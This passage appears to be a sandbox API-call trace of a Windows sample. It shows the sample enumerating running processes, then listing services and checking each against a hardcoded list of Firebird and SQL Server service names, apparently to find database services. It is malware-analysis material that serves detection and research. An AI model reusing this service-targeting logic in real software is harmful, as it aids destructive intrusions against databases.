lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.113] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.113] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.114] lstrlenW (lpString="dllhost.exe") returned 11 [0290.114] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.115] lstrlenW (lpString="dllhost.exe") returned 11 [0290.115] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.116] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.116] Process32NextW (in: hSnapshot=0x56c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0290.117] CloseHandle (hObject=0x56c) returned 1 [0290.117] Sleep (dwMilliseconds=0x1f4) [0290.669] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x699e60 [0290.670] EnumServicesStatusExW (in: hSCManager=0x699e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0290.670] GetLastError () returned 0xea [0290.670] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45eebb0 [0290.671] EnumServicesStatusExW (in: hSCManager=0x699e60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eebb0, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eebb0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0290.671] CloseServiceHandle (hSCObject=0x699e60) returned 1 [0290.672] lstrlenW (lpString="Appinfo") returned 7 [0290.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0290.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0290.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0290.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0290.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0290.672] lstrlenW (lpString="AppXSvc") returned 7 [0290.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0290.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0290.672] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0290.672] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0290.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0290.672] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0290.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0290.672] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0290.672] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0290.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0290.672] lstrlenW (lpString="Audiosrv") returned 8 [0290.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0290.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0290.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0290.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0290.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0290.672] lstrlenW (lpString="BFE") returned 3 [0290.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0290.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0290.673] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0290.673] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0290.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0290.673] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0290.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0290.673] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0290.673] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0290.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0290.673] lstrlenW (lpString="CDPSvc") returned 6 [0290.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0290.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0290.673] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0290.673] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0290.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0290.673] lstrlenW (lpString="ClickToRunSvc") returned 13 [0290.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0290.673] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0290.673] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0290.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0290.673] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0290.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0290.673] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0290.674] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0290.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0290.674] lstrlenW (lpString="CryptSvc") returned 8 [0290.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0290.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0290.674] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0290.674] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0290.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0290.674] lstrlenW (lpString="DcomLaunch") returned 10 [0290.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0290.674] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0290.674] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0290.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0290.674] lstrlenW (lpString="DeviceAssociationService") returned 24 [0290.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0290.674] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0290.674] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0290.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0290.674] lstrlenW (lpString="Dhcp") returned 4 [0290.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0290.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0290.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0290.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0290.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0290.674] lstrlenW (lpString="Dnscache") returned 8 [0290.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0290.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0290.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0290.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0290.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0290.675] lstrlenW (lpString="DPS") returned 3 [0290.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0290.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0290.675] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0290.675] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0290.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0290.675] lstrlenW (lpString="DusmSvc") returned 7 [0290.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0290.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0290.675] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0290.675] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0290.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0290.675] lstrlenW (lpString="EventLog") returned 8 [0290.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0290.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0290.675] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0290.676] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0290.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0290.676] lstrlenW (lpString="EventSystem") returned 11 [0290.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0290.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0290.676] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0290.676] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0290.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0290.676] lstrlenW (lpString="FontCache") returned 9 [0290.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0290.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0290.676] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0290.676] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0290.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0290.676] lstrlenW (lpString="gpsvc") returned 5 [0290.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0290.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0290.676] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0290.676] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0290.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0290.676] lstrlenW (lpString="iphlpsvc") returned 8 [0290.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0290.677] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0290.677] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0290.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0290.677] lstrlenW (lpString="KeyIso") returned 6 [0290.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0290.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0290.677] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0290.677] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0290.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0290.677] lstrlenW (lpString="LanmanServer") returned 12 [0290.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0290.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0290.677] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0290.677] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0290.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0290.677] lstrlenW (lpString="LanmanWorkstation") returned 17 [0290.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0290.677] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0290.677] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0290.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0290.677] lstrlenW (lpString="lfsvc") returned 5 [0290.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0290.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0290.677] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0290.677] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0290.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0290.678] lstrlenW (lpString="lmhosts") returned 7 [0290.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0290.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0290.678] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0290.678] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0290.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0290.678] lstrlenW (lpString="LSM") returned 3 [0290.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0290.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0290.678] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0290.678] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0290.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0290.678] lstrlenW (lpString="MpsSvc") returned 6 [0290.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0290.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0290.678] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0290.678] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0290.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0290.678] lstrlenW (lpString="NcbService") returned 10 [0290.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0290.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0290.678] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0290.678] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0290.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0290.678] lstrlenW (lpString="netprofm") returned 8 [0290.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0290.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0290.678] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0290.679] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0290.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0290.679] lstrlenW (lpString="NgcSvc") returned 6 [0290.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0290.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0290.679] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0290.679] lstrlenW (lpString="NlaSvc") returned 6 [0290.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0290.679] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0290.679] lstrlenW (lpString="nsi") returned 3 [0290.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0290.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0290.679] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0290.679] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0290.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0290.679] lstrlenW (lpString="PcaSvc") returned 6 [0290.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0290.679] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0290.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0290.679] lstrlenW (lpString="PlugPlay") returned 8 [0290.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0290.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0290.680] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0290.680] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0290.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0290.680] lstrlenW (lpString="Power") returned 5 [0290.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0290.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0290.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0290.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0290.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0290.680] lstrlenW (lpString="ProfSvc") returned 7 [0290.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0290.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0290.680] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0290.680] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0290.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0290.680] lstrlenW (lpString="RpcEptMapper") returned 12 [0290.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0290.680] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0290.680] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0290.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0290.680] lstrlenW (lpString="RpcSs") returned 5 [0290.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0290.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0290.680] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0290.680] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0290.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0290.680] lstrlenW (lpString="SamSs") returned 5 [0290.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0290.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0290.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0290.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0290.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0290.681] lstrlenW (lpString="Schedule") returned 8 [0290.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0290.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0290.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0290.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0290.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0290.681] lstrlenW (lpString="SecurityHealthService") returned 21 [0290.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0290.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0290.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0290.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0290.681] lstrlenW (lpString="SENS") returned 4 [0290.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0290.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0290.681] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0290.681] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0290.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0290.681] lstrlenW (lpString="ShellHWDetection") returned 16 [0290.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0290.681] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0290.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0290.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0290.681] lstrlenW (lpString="Spooler") returned 7 [0290.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0290.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0290.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0290.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0290.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0290.682] lstrlenW (lpString="StateRepository") returned 15 [0290.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0290.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0290.682] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0290.682] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0290.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0290.682] lstrlenW (lpString="SysMain") returned 7 [0290.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0290.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0290.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0290.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0290.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0290.682] lstrlenW (lpString="SystemEventsBroker") returned 18 [0290.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0290.682] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0290.682] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0290.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0290.682] lstrlenW (lpString="Themes") returned 6 [0290.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0290.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0290.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0290.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0290.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0290.683] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0290.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0290.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0290.683] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0290.683] 